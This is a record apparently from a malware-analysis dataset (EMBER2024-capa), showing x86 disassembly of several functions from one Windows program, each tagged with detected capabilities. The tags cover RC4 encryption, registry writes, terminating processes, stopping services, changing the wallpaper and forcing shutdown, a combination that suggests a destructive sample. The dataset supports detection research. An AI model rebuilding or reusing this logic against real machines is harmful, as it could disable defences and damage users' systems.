joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ade0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433540
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x130
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x13c], edi
push pe_nt_image_headers32
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.00423800
add esp, 0xc
lea ecx, [ebp - 0x130]
mov edx, esi
call fcn.0040a910
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov esi, dword [0x45cc0c]
test esi, esi
je 0x40b01a
cmp dword [ebp - 0x120], 0
je 0x40b01a
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jl 0x40ae82
mov dword [ebp - 0x138], 0
xor edi, edi
nop dword [eax]
cmp dword [0x45cc10], 0x10
mov ecx, 0x45cbfc
mov al, byte [ebp + edi - 0x118]
cmovae ecx, dword [0x45cbfc]
xor edx, edx
mov byte [ebp - 0x131], al
mov eax, edi
div esi
movsx eax, byte [edx + ecx]
mov dl, byte [ebp - 0x131]
add eax, dword [ebp - 0x138]
movzx ecx, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x40aeeb
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ebp + ecx - 0x118]
mov byte [ebp + edi - 0x118], al
inc edi
mov dword [ebp - 0x138], ecx
mov byte [ebp + ecx - 0x118], dl
cmp edi, 0x100
jge 0x40af18
mov esi, dword [0x45cc0c]
jmp 0x40aea0
mov ecx, dword [ebp - 0x130]
lea esi, [ebp - 0x130]
mov edx, dword [ebp - 0x11c]
xor eax, eax
xor edi, edi
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
cmovae eax, ecx
cmovae esi, ecx
add eax, dword [ebp - 0x120]
mov dword [ebp - 0x140], eax
cmp esi, eax
je 0x40aff2
nop dword [eax + eax]
inc edi
and edi, 0x800000ff
jns 0x40af71
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x118]
mov eax, dword [ebp - 0x138]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x40af91
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x138], eax
movzx eax, byte [ebp + eax - 0x118]
mov byte [ebp + edi - 0x118], al
mov eax, dword [ebp - 0x138]
mov byte [ebp + eax - 0x118], cl
movzx eax, byte [ebp + edi - 0x118]
mov ecx, dword [ebp - 0x13c]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x118]
xor al, byte [esi]
movzx eax, al
push eax
call fcn.0040dc80
inc esi
cmp esi, dword [ebp - 0x140]
jne 0x40af60
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x130]
mov edi, dword [ebp - 0x13c]
cmp edx, 0x10
jb 0x40b032
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b028
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b052
jmp 0x40b028
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x130]
jmp 0x40aff8
push edx
push ecx
call fcn.004205b6
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00420573
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042552f
int3
Function at 0x40b3b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov edx, 0xe
lea ecx, [ebp - 0x3c]
call fcn.0040aba0
mov edx, 5
lea ecx, [ebp - 0x24]
mov esi, eax
call fcn.0040aba0
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], reloc.OLEAUT32.dll_SysReAllocString
cmp dword [eax + 0x10], 0
je 0x40b43f
cmp dword [esi + 0x10], 0
je 0x40b43f
cmp dword [eax + 0x14], 8
jb 0x40b3ff
mov eax, dword [eax]
lea ecx, [ebp - 0xc]
push ecx
push 0xf003f
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b43f
cmp dword [esi + 0x14], 8
jb 0x40b422
mov esi, dword [esi]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
cmp ecx, 8
jb 0x40b475
mov edx, dword [ebp - 0x24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b46b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b4ce
push ecx
push edx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
cmp ecx, 8
jb 0x40b4bf
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b4b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b4ce
push ecx
push edx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00420573
mov esp, ebp
pop ebp
ret
call fcn.0042552f
int3
Function at 0x40b530
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433570
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x268
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x278], edi
cmp dword [edi + 0x10], 0
je 0x40b77a
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov dword [ebp - 0x250], eax
cmp eax, 0xffffffff
je 0x40b77a
push 0x228
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.00423800
add esp, 0xc
mov dword [ebp - 0x248], 0x22c
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x40b76e
nop word [eax + eax]
xorps xmm0, xmm0
mov dword [ebp - 0x258], 0
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x254], 0
movups xmmword [ebp - 0x268], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b607
sub ecx, edx
lea eax, [ebp - 0x224]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x268]
call fcn.004083a0
mov esi, dword [ebp - 0x258]
cmp esi, dword [edi + 0x10]
jne 0x40b6d6
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x40b642
mov ecx, dword [edi]
mov edi, dword [ebp - 0x254]
lea eax, [ebp - 0x268]
mov edx, dword [ebp - 0x268]
cmp edi, 8
cmovae eax, edx
lea eax, [eax + esi*2]
lea esi, [ebp - 0x268]
mov dword [ebp - 0x270], eax
cmovae esi, edx
cmp esi, eax
je 0x40b6cd
sub ecx, esi
mov dword [ebp - 0x274], ecx
nop dword [eax + eax]
movzx eax, word [ecx + esi]
movzx ecx, word [esi]
mov dword [ebp - 0x26c], eax
cmp cx, ax
je 0x40b6b0
push ecx
call fcn.00425780
mov edi, eax
mov eax, dword [ebp - 0x26c]
movzx ecx, ax
push ecx
call fcn.00425780
add esp, 8
cmp edi, eax
jne 0x40b6d6
mov ecx, dword [ebp - 0x274]
add esi, 2
cmp esi, dword [ebp - 0x270]
jne 0x40b680
mov edi, dword [ebp - 0x254]
mov edx, dword [ebp - 0x268]
mov byte [ebp - 0x249], 1
jmp 0x40b6e9
mov edi, dword [ebp - 0x254]
mov edx, dword [ebp - 0x268]
mov byte [ebp - 0x249], 0
cmp edi, 8
jb 0x40b71d
lea edi, [edi*2 + 2]
mov eax, edx
cmp edi, 0x1000
jb 0x40b713
mov edx, dword [eax - 4]
add edi, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b79a
push edi
push edx
call fcn.004205b6
add esp, 8
cmp byte [ebp - 0x249], 0
je 0x40b73c
push dword [ebp - 0x240]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
jne 0x40b75e
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x40b76e
mov edi, dword [ebp - 0x278]
jmp 0x40b5e0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00420573
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042552f
int3
Function at 0x40c010
Capabilities:
Change the wallpaper
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4335d0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x39
lea ecx, [ebp - 0x2c]
call fcn.0040aba0
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.0040c240
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x40c08c
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c082
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c21e
push ecx
push edx
call fcn.004205b6
add esp, 8
cmp dword [ebp - 0x34], 0
je 0x40c1cc
push 0x139fd
mov dword [ebp - 4], 0
call fcn.00402120
add esp, 4
mov dword [ebp - 0x20], eax
mov edx, 0x45952d
mov dword [ebp - 0x1c], eax
mov ecx, 0x445b30
lea esi, [eax + 0x139fd]
push eax
mov dword [ebp - 0x18], esi
call fcn.00409a10
mov ecx, dword [ebp - 0x20]
add esp, 4
mov dword [ebp - 0x1c], esi
cmp ecx, esi
je 0x40c19f
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
push 0
cmovae eax, dword [ebp - 0x44]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c19c
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x20]
sub ecx, edx
push 0
push eax
push ecx
push edx
push edi
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0x20]
test esi, esi
je 0x40c145
mov eax, dword [ebp - 0x1c]
sub eax, ecx
cmp dword [ebp - 0x14], eax
jne 0x40c145
mov bl, 1
jmp 0x40c147
xor bl, bl
test ecx, ecx
je 0x40c178
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40c16e
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c223
push edx
push ecx
call fcn.004205b6
add esp, 8
test bl, bl
je 0x40c1cc
cmp dword [ebp - 0x34], 0
je 0x40c1cc
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
push 3
cmovae eax, dword [ebp - 0x44]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x40c1cc
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40c1cc
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40c1c2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c223
push edx
push ecx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x40c202
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c1f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c228
push ecx
push edx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420573
mov esp, ebp
pop ebp
ret
call fcn.0042552f
call fcn.0042552f
call fcn.0042552f
int3
Function at 0x40c7c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433650
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor bl, bl
cmp dword [esi + 0x10], 0
je 0x40c9d1
mov edx, 0x26
lea ecx, [ebp - 0x44]
call fcn.0040aba0
cmp dword [eax + 0x14], 8
jb 0x40c80e
mov eax, dword [eax]
lea ecx, [ebp - 0x2c]
push ecx
push 0x20006
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x30]
test eax, eax
sete bh
cmp ecx, 8
jb 0x40c864
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c85a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c9ef
push ecx
push edx
call fcn.004205b6
add esp, 8
test bh, bh
je 0x40c9d1
push esi
push 0x43b638
mov edx, 0xb
lea ecx, [ebp - 0x5c]
call fcn.0040aba0
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.004080a0
add esp, 4
lea ecx, [ebp - 0x28]
mov edx, eax
call fcn.00407ea0
mov ecx, dword [ebp - 0x30]
add esp, 4
cmp ecx, 8
jb 0x40c8d3
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c8c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c9f4
push ecx
push edx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
cmp ecx, 8
jb 0x40c921
mov edx, dword [ebp - 0x5c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c917
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c9f4
push ecx
push edx
call fcn.004205b6
add esp, 8
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x74]
mov edx, 0x27
cmovae esi, dword [ebp - 0x28]
lea edi, [eax + eax]
call fcn.0040aba0
cmp dword [eax + 0x14], 8
jb 0x40c947
mov eax, dword [eax]
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x60]
test eax, eax
sete bl
cmp ecx, 8
jb 0x40c992
mov edx, dword [ebp - 0x74]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c988
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c9f9
push ecx
push edx
call fcn.004205b6
add esp, 8
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x40c9d1
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c9c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c9fe
push ecx
push edx
call fcn.004205b6
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420573
mov esp, ebp
pop ebp
ret
call fcn.0042552f
call fcn.0042552f
call fcn.0042552f
call fcn.0042552f
int3
Function at 0x40ca10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, 0x26
lea ecx, [ebp - 0x1c]
call fcn.0040aba0
cmp dword [eax + 0x14], 8
jb 0x40ca38
mov eax, dword [eax]
lea ecx, [ebp - 0x20]
push ecx
push 0x20006
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 8]
test eax, eax
sete bl
cmp ecx, 8
jb 0x40ca8e
mov edx, dword [ebp - 0x1c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40ca84
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cb5f
push ecx
push edx
call fcn.004205b6
add esp, 8
test bl, bl
je 0x40cb4e
mov edx, 0xb
lea ecx, [ebp - 0x1c]
call fcn.0040aba0
mov eax, dword [ebp - 0xc]
lea esi, [ebp - 0x1c]
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x38]
mov edx, 0x27
cmovae esi, dword [ebp - 0x1c]
lea edi, [eax + eax]
call fcn.0040aba0
cmp dword [eax + 0x14], 8
jb 0x40cac9
mov eax, dword [eax]
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x40cb0f
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40cb05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cb64
push ecx
push edx
call fcn.004205b6
add esp, 8
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
cmp ecx, 8
jb 0x40cb4e
mov edx, dword [ebp - 0x1c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40cb44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cb69
push ecx
push edx
call fcn.004205b6
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420573
mov esp, ebp
pop ebp
ret
call fcn.0042552f
call fcn.0042552f
call fcn.0042552f
int3

Function at 0x40cc90
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xffffffff
push eax
push 0x28
mov esi, ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40cd20
lea eax, [ebp - 0x10]
xorps xmm0, xmm0
push eax
push 0x43b63c
push 0
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
jne 0x40cd20
push 2
push 4
push esi
push 0x43b320
push eax
call dword [sym.imp.ADVAPI32.dll_InitiateShutdownW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00420573
mov esp, ebp
pop ebp
ret
Function at 0x40cd30
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor bl, bl
mov edi, edx
mov esi, ecx
mov byte [ebp - 0x2d], bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount64]
cmp dword [esi + 0x10], 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edx
je 0x40cebf
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x40cebf
cmp dword [esi + 0x14], 8
jb 0x40cd84
mov esi, dword [esi]
push 0x2c
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x40ceb6
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xc], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 8], 0
push 0
push esi
movups xmmword [ebp - 0x2c], xmm0
movups xmmword [ebp - 0x1c], xmm0
call ebx
test eax, eax
je 0x40ceac
mov eax, dword [ebp - 0x28]
cmp eax, 1
je 0x40ceac
cmp eax, 3
jne 0x40ce48
mov ecx, 0x2710
mov eax, 0xcccccccd
mul dword [ebp - 0x14]
shr edx, 3
cmp edx, 0x3e8
jae 0x40cdfe
mov edx, 0x3e8
jmp 0x40ce07
cmp edx, 0x2710
cmova edx, ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x40ce48
cmp dword [ebp - 0x28], 1
je 0x40ce48
call dword [sym.imp.KERNEL32.DLL_GetTickCount64]
sub eax, dword [ebp - 0x34]
sbb edx, dword [ebp - 0x38]
test edx, edx
ja 0x40ce48
jb 0x40ce3d
cmp eax, edi
ja 0x40ce48
cmp dword [ebp - 0x28], 3
mov ecx, 0x2710
je 0x40cde4
mov ecx, dword [ebp - 0x3c]
mov edx, esi
push edi
call fcn.0040cee0
add esp, 4
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40ceac
cmp dword [ebp - 0x28], 1
je 0x40ceac
nop dword [eax]
push edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x40cea6
cmp dword [ebp - 0x28], 1
je 0x40ced2
call dword [sym.imp.KERNEL32.DLL_GetTickCount64]
sub eax, dword [ebp - 0x34]
sbb edx, dword [ebp - 0x38]
test edx, edx
ja 0x40ceac
jb 0x40cea6
cmp eax, edi
ja 0x40ceac
cmp dword [ebp - 0x28], 1
jne 0x40ce70
mov bl, byte [ebp - 0x2d]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420573
mov esp, ebp
pop ebp
ret
mov bl, 1
jmp 0x40ceaf
Function at 0x40cee0
Capabilities:
Enumerate services
Query service status
Stop service

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x442160
push 0x4323c0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
sub esp, 0x78
mov eax, dword [0x445008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, edx
mov eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], eax
test edi, edi
je 0x40d0bb
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x50], xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.DLL_GetTickCount64]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
jne 0x40d0bb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xea
jne 0x40d0bb
mov esi, dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x54], esi
test esi, esi
je 0x40d0bb
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push esi
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
je 0x40d0af
xor eax, eax
mov esi, dword [ebx + 8]
mov dword [ebp - 0x5c], eax
cmp eax, dword [ebp - 0x2c]
jae 0x40d0ac
lea eax, [eax + eax*8]
mov ecx, dword [ebp - 0x54]
movups xmm1, xmmword [ecx + eax*4]
movups xmm0, xmmword [ecx + eax*4 + 0x10]
movups xmmword [ebp - 0x84], xmm0
mov eax, dword [ecx + eax*4 + 0x20]
mov dword [ebp - 0x74], eax
push 0x24
movd eax, xmm1
push eax
push dword [ebp - 0x58]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
mov dword [ebp - 0x60], edi
test edi, edi
je 0x40d0ac
mov dword [ebp - 4], 1
lea eax, [ebp - 0x50]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40d080
nop dword [eax]
cmp dword [ebp - 0x4c], 1
je 0x40d080
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x28]
push eax
push 0x24
lea eax, [ebp - 0x50]
push eax
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40d080
cmp dword [ebp - 0x4c], 1
je 0x40d080
call dword [sym.imp.KERNEL32.DLL_GetTickCount64]
sub eax, dword [ebp - 0x70]
sbb edx, dword [ebp - 0x6c]
test edx, edx
ja 0x40d080
jb 0x40d040
cmp eax, esi
jbe 0x40d040
mov dword [ebp - 4], 0
call fcn.0040d0a4
mov eax, dword [ebp - 0x5c]
inc eax
jmp 0x40cfde
mov esi, dword [ebp - 0x54]
mov dword [ebp - 4], 0xfffffffe
call fcn.0040d0df
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00420573
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40d160
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x445008]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x44
push edi
mov edi, ecx
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
mov eax, edi
movlpd qword [ebp - 0x3c], xmm0
